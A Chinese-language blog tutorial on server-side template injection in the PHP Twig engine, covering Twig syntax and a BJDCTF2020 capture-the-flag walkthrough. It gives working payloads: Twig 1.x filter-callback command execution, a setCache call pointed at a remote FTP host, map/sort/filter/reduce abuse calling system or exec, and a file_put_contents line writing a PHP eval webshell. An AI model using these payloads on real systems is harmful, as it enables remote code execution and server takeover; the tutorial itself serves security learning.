百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

以Twig模板为例浅学一手SSTI

myzbx 2025-03-13 18:14 21 浏览

什么是SSTI

SSTI:开局一张图,姿势全靠y


SSTI,即服务器端模板注入(Server-Side Template Injection)

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入的成因是从用户获得一个输入后,经过后端脚本语言进行数据库查询,这时我们就可以构造输入语句来进行拼接,从而实现我们想要的sql语句

SSTI也是如此,不过SSTI是在服务端接收了输入后,将其作为web应用模板内容的一部分,在进行目标编译渲染的过程中,将恶意语句进行了拼接,因此可能造成敏感信息泄露、代码执行、getshell等问题

在这我会简单以常见的Twig模板引擎进行演示,有所遗漏错误,欢迎各位师傅们进行补充纠正

模板引擎

模板是一种提供给程序进行解析的一种语法,从初始数据到实际的视觉表达靠的就是这一项工作所实现的,且这种手段是同时存在于前后端的

常见的模板引擎有

1.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典

FreeMarker

FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎

django

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

形形色色的模板引擎为了达到渲染效果,总会对用户输入有所处理,这也就给攻击者提供了道路,尽管模板引擎也会相应提供沙箱机制进行保护,但是也存在沙箱逃逸技术可以进行绕过

攻击思路

找到模板是什么模板引擎,是哪个版本的,然后设法利用模板的内置方法,进行rce、getshell

PHP-Twig

Twig 被许多开源项目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;许多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。

本地复现可以用composer搭建

  • 在Twig引擎中,我们可以通过下面方法获得一些关于当前应用的信息(虽然经常会被ban就是...)
{{_self}} #指向当前应用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

基础语法

模板其实就是一个文本文件,它可以生成我们需要的任何基于文本的格式文件(html、xml、csv等)

它也没有特别的拓展后缀名,.html.xml.twig都可

这里主要讲一些我们在利用时会用到的基础知识

变量

应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),Twig还支持访问PHP数组上的项的特定语法, foo['bar']

{{ foo.bar }}
{{ foo['bar'] }}

全局变量

模板中始终提供以下变量:

  • _self :引用当前模板名称;(在twig1.x和2.x/3.x作用不一)
  • _context :引用当前上下文;
  • _charset :引用当前字符集。

设置变量

可以为代码块内的变量赋值。赋值使用set标签:

{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}

过滤器

变量可以修改为 过滤器 . 过滤器与变量之间用管道符号隔开 (| ). 可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器。

下面的示例从 name 标题是:

{{ name|striptags|title }}

接受参数的筛选器在参数周围有括号。此示例通过逗号连接列表中的元素:

{{ list|join }}
{{ list|join(', ') }}

// {{ ['a', 'b', 'c']|join }}
// Output: abc

// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c

若要对代码部分应用筛选器,请使用apply标签:

{% apply upper %}
   This text becomes uppercase
{% endapply %}

过滤器有很多,但是我们常用的一般就mapsortfilterreduce

更多内置过滤器请参考:
https://twig.symfony.com/doc/3.x/filters/index.html

控制结构

控制结构是指所有控制程序流的东西-条件句(即 if/elseif/else/ for)循环,以及程序块之类的东西。控制结构出现在 {{% ... %}}

例如,要显示在名为 users 使用for标签:

Members

    {% for user in users %}
  • {{ user.username|e }}
  • {% endfor %}

if标记可用于测试表达式:

{% if users|length > 0 %}
   
    {% for user in users %}
  • {{ user.username|e }}
  • {% endfor %}
{% endif %}

更多 tags 请参考:
https://twig.symfony.com/doc/3.x/tags/index.html

函数

在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表:

{% for i in range(0, 3) %}
  {{ i }},
{% endfor %}

// Output: 0, 1, 2, 3,

更多内置函数请参考:
https://twig.symfony.com/doc/3.x/functions/index.html

注释

要在模板中注释某一行,可以使用注释语法 {# ...#}

{# note: disabled template because we no longer use this
  {% for user in users %}
      ...
  {% endfor %}
#}

引入其他模板

Twig 提供的 include 函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板

{{ include('sidebar.html') }}

模板继承

Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板,该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。

从一个例子开始更容易理解这个概念。

让我们定义一个基本模板, base.html ,它定义了可用于两列页面的HTML框架文档:



  
      {% block head %}
          
          {% block title %}{% endblock %} - My Webpage
      {% endblock %}
  
  
      
{% block content %}{% endblock %}

在这个例子中,block标记定义了子模板可以填充的四个块。所有的 block 标记的作用是告诉模板引擎子模板可能会覆盖模板的这些部分。

子模板可能如下所示:

{% extends "base.html" %}

{% block title %}Index{% endblock %}
{% block head %}
  {{ parent() }}
  
{% endblock %}
{% block content %}
  

Index

Welcome to my awesome homepage.

{% endblock %}

其中的 extends 标签是关键所在,其必须是模板的第一个标签。extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer 块,就用来自父模板的值替代使用了。

更多 Twig 的语法请参考:
https://twig.symfony.com/doc/3.x/

1.x

在twig 1.x版本,存在三个全局变量

  • _self:引用当前模板实例
  • _context:引用上下文
  • _charset:引用当前字符集

其相对应的代码如下

protected $specialVars = [
       '_self' => '$this',
       '_context' => '$context',
       '_charset' => '$this->env->getCharset()',
  ];

在twig 1.x中,主要利用的是_self变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environmentenv 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法

payload

{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}

通过调用setCache方法改变twig加载php的路径,在allow_url_include开启的条件下,我们就可以实现远程文件包含

在getFilter方法中存在call_user_func回调函数,通过传入参数我们可以借此调用任意函数

#getFilter
public function getFilter($name)
{
  ...
   foreach ($this->filterCallbacks as $callback) {
   if (false !== $filter = call_user_func($callback, $name)) {
     return $filter;
  }
}
 return false;
}

public function registerUndefinedFilterCallback($callable)
{
 $this->filterCallbacks[] = $callable;
}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

但以上漏洞都只存在于1.x,在后续版本中,_self只会返回当前实例名字符串

2.x&3.x

在这里我用twig3.x+php7.3.4作为示例

用PHP的API调用twig

index.php

 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);


$template = $twig->createTemplate("Hello {$_GET['name']}!");

echo $template->render();

在twig2.x/3.x中,_self不再像1.x时那么有他独特的作用,但是也相应更新了一些特殊方法来供我们利用

map过滤器

map

这个 map 过滤器将箭头函数应用于序列或映射的元素。arrow函数接收序列或映射的值:

{% set people = [
{first: "Bob", last: "Smith"},
{first: "Alice", last: "Dupond"},
] %}

{{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}

arrow函数还接收密钥作为第二个参数:

{% set people = {
"Bob": "Smith",
"Alice": "Dupond",
} %}

{{ people|map((last, first) => "#{first} #{last}")|join(', ') }}
{# outputs Bob Smith, Alice Dupond #}

注意arrow函数可以访问当前上下文。

可以看出允许用户传一个arrow 函数,arrow 函数最后会变成一个closure

举个例子

当我们传入

{{["man"]|map((arg)=>"hello #{arg}")}}

在模板中会被编译为

twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))

map所对应的函数如下

function twig_array_map($array $arrow)
{
   $r = [];
   foreach ($array as $k => $v) {
       $r[$k] = $arrow($v $k);
  }

   return $r;
}

我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v$k 分别是 $array 中的 value 和 key

所以$array$arrow都是我们可控的,那我们就可以找到有两个参数的、可以实现命令执行的危险函数来进行rce

经过查询,有如下几种常见命令执行函数

system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string

有两个参数的函数就上面三种,其对应payload

{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}}    // 无回显

但是当上面的都被ban了呢,我们还有没有其他方法rce

当然,例如

file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int

当我们找到路径后就可以利用该函数进行写shell了

?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}}

根据map过滤器的利用思路,我们可以再找到其他类似的,带有$arrow参数的

sort过滤器

sort

这个 sort 筛选器对数组排序:

{% for user in users|sort %}
...
{% endfor %}

注解

在内部,Twig使用PHP asort 函数来维护索引关联。它通过将可遍历对象转换为数组来支持这些对象。

您可以传递一个箭头函数来对数组进行排序:

{% set fruits = [
{ name: 'Apples', quantity: 5 },
{ name: 'Oranges', quantity: 2 },
{ name: 'Grapes', quantity: 4 },
] %}

{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}
{{ fruit }}
{% endfor %}

{# output in this order: Oranges, Grapes, Apples #}

注意 spaceship 运算符来简化比较。

类似于map,sort在模板编译时也会进入twig_sort_filter 函数

function twig_sort_filter($array, $arrow = null)
{
   if ($array instanceof \Traversable) {
       $array = iterator_to_array($array);
  } elseif (!\is_array($array)) {
       throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
  }

   if (null !== $arrow) {
       uasort($array, $arrow);    // 直接被 uasort 调用
  } else {
       asort($array);
  }

   return $array;
}
uasort ( array &$array , callable $value_compare_func ) : bool

可以看到,$array$arrow直接被uasort调用

uasort会将数组中的元素按照键值进行排序,当我们自定义一个危险函数时,就可能造成rce

这样我们就可以构造payload了

{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}}    // 无回显

filter过滤器

filter

这个 filter 过滤器使用箭头函数过滤序列或映射的元素。arrow函数接收序列或映射的值:

{% set sizes = [34, 36, 38, 40, 42] %}

{{ sizes|filter(v => v > 38)|join(', ') }}
{# output 40, 42 #}

for 标记,它允许筛选要迭代的项:

{% for v in sizes|filter(v => v > 38) -%}
{{ v }}
{% endfor %}
{# output 40 42 #}

它也适用于映射:

{% set sizes = {
xs: 34,
s: 36,
m: 38,
l: 40,
xl: 42,
} %}

{% for k, v in sizes|filter(v => v > 38) -%}
{{ k }} = {{ v }}
{% endfor %}
{# output l = 40 xl = 42 #}

arrow函数还接收密钥作为第二个参数:

{% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%}
{{ k }} = {{ v }}
{% endfor %}
{# output l = 40 #}

注意arrow函数可以访问当前上下文。

类似于map,filter在模板编译时也会进入twig_array_filter 函数

function twig_array_filter($array, $arrow)
{
   if (\is_array($array)) {
       return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);    // $array 和 $arrow 直接被 array_filter 函数调用
  }

   // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
   return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

可以看到和前面方法类似,我们实验一下

得到payload

{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}}    // 无回显

{{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}}    // 和map过滤器一样可以写 Webshell

reduce 过滤器

reduce

这个 reduce filter使用arrow函数迭代地将序列或映射缩减为单个值,从而将其缩减为单个值。arrow函数接收上一次迭代的返回值和序列或映射的当前值:

{% set numbers = [1, 2, 3] %}

{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}

这个 reduce 过滤器需要 initial 值作为第二个参数:

{{ numbers|reduce((carry, v) => carry + v, 10) }}
{# output 16 #}

注意arrow函数可以访问当前上下文。

直接来看函数

function twig_array_reduce($array, $arrow, $initial = null)
{
   if (!\is_array($array)) {
       $array = iterator_to_array($array);
  }

   return array_reduce($array, $arrow, $initial);    // $array, $arrow 和 $initial 直接被 array_reduce 函数调用
}
array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed

可以看到array_reduce是有三个参数的

$array$arrow 直接被 array_filter 函数调用,我们可以利用该性质自定义一个危险函数从而达到rce

刚开始还是像前面一样构造

{{["id", 0]|reduce("passthru")}}

但是发现没有执行成功,原因是第一次调用的是

passthru($initial, "id")

因为$initial为null,所以会报错,我们想要对他进行赋值才行

payload

{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 无回显

题目

  • [BJDCTF2020]Cookie is so stable

进入发现一个flag按钮和一个hint按钮点击hint发现源码有hint

返回访问flag.php

经过简单测试猜测为twig(传入{{7*'7'}}后Jinja2输出7777777,Twig输出49

同时发现在cookie是我们的输入点,开始查看是什么版本的twig,用_self来测试

cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

twig1.x,我们直接cat /flag试试

cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}


基本思路还是测试出为哪个模板,哪个版本,测试payload即可

后言

SSTI 并不广泛存在,但如果开发人员滥用模板引擎,那么就很有可能出现SSTI,并且根据其模板引擎的复杂性和开发语言的特性,很大几率会出现非常严重的问题

联想到最近的log4j2漏洞,与SSTI类似,都是将用户的输入当作可信任内容,这才出现了大大小小的安全问题

一句话总结:永远不要相信用户的输入

相关推荐

零基础入门AI智能体:详细了解什么是变量类型、JSON结构、Markdown格式

当品牌跳出固有框架,以跨界联动、场景创新叩击年轻群体的兴趣点,一场关于如何在迭代中保持鲜活的探索正在展开,既藏着破圈的巧思,也映照着与新一代对话的密码。在创建AI智能体时,我们会调用插件或大模型,而在...

C# 13模式匹配:递归模式与属性模式在真实代码中的性能影响分析

C#13对模式匹配的增强让复杂数据处理代码更简洁,但递归模式与属性模式的性能差异一直是开发者关注的焦点。在实际项目中,选择合适的模式不仅影响代码可读性,还可能导致执行效率的显著差异。本文结合真实测试...

零基础快速入门 VBA 系列 6 —— 常用对象(工作簿、工作表和区域)

上一节,我介绍了VBA内置函数以及如何自动打字和自动保存文件。这一节,我们来了解一下Excel常用对象。Excel常用对象Excel有很多对象,其中最常用也最重要的包括以下3个:1.Workbo...

不同生命数字的生肖龙!准到雷普!

属龙的人总在自信爆棚和自讨苦吃之间反复横跳?看完这届龙宝宝的日常我悟了。属龙的人好像天生自带矛盾体:领导力超强可人缘时好时坏,工作雷厉风行却总在爱情里翻车。关键年份的龙性格差异更大——76年龙靠谱但不...

仓颉编程语言基础-面向对象编程-属性(Properties)

属性是仓颉颉中一种强大的机制,它允许你封装对类(或接口interface、结构体struct、枚举enum、扩展extend)内部状态的访问。它看起来像一个普通的成员变量(字段),但在其背后,它通过...

Python中class对象/属性/方法/继承/多态/魔法方法详解

一、基础入门:认识类和对象1.类和对象的概念在Python中,类(class)是一种抽象的概念,用于定义对象的属性和行为,而对象(也称为实例)则是类的具体表现。比如,“汽车”可以是一个类,它有...

VBA基础入门:搞清楚对象、属性和方法就成功了一半

如果你刚接触VBA(VisualBasicforApplications),可能会被“对象”“属性”“方法”这些术语搞得一头雾水。但事实上,这三个概念是VBA编程的基石。只要理解它们之间的关系,...

P.O类型文推荐|年度编推合集(一百九十五篇)

点击左上方关注获取更多精彩推文目录2019年度编推35篇(1V1)《悖论》作者:流苏.txt(1V1)《桂花蒸》作者:大姑娘浪.txt(1V1)《豪门浪女》作者:奚行.txt...

Python参数传递内存大揭秘:可变对象 vs 不可变对象

90%的Python程序员不知道,函数参数传递中可变对象的修改竟会导致意想不到的副作用!一、参数传递的本质:对象引用传递在Python中,所有参数传递都是对象引用的传递。这意味着函数调用时传递的不是对...

JS 开发者必看!TC39 2025 最新动向,这些新语法要火?

大家好,很高兴又见面了,我是"高级前端进阶",由我带着大家一起关注前端前沿、深入前端底层技术,大家一起进步,也欢迎大家关注、点赞、收藏、转发,您的支持是我不断创作的动力。TC39第...

2025 年值得尝试的 5 个被低估的 JavaScript 库

这些JavaScript库可能不会在社交媒体或HackerNews上流行起来,但它们会显著提高您的工作效率和代码质量。JavaScript不再只是框架。虽然React、Vue和Sv...

Python自动化办公应用学习笔记30—函数的参数

一、函数的参数1.形参:o定义:在函数定义时,声明在函数名后面括号中的变量。o作用:它们是函数内部的占位符变量,用于接收函数被调用时传入的实际值。o生命周期:在函数被调用时创建,在函数执...

16种MBTI人格全解析|测完我沉默了三秒:原来我是这样的人?

MBTI性格测试火了这么久,你还不知道自己是哪一型?有人拿它当社交话题,有人拿它分析老板性格,还有人干脆当成择偶参考表。不废话,今天我一次性给你整理全部16种MBTI人格类型!看完你不仅能知道自己是谁...

JS基础与高级应用: 性能优化

在现代Web开发中,性能优化已成为前端工程师必须掌握的核心技能之一。本文从URL输入到页面加载完成的全过程出发,深入分析了HTTP协议的演进、域名解析、代码层面性能优化以及编译与渲染的最佳实践。通过节...

爱思创CSP-J/S初赛模拟赛线上开赛!助力冲入2024年CSP-J/S复赛!

CSP-J/S组初赛模拟赛爱思创,专注信奥教育19年,2022年CSP-J/S组赛事指定考点,特邀NOIP教练,开启全真实CSP-J/S组线上初赛模拟大赛!一、比赛对象:2024年备考CSP-J/S初...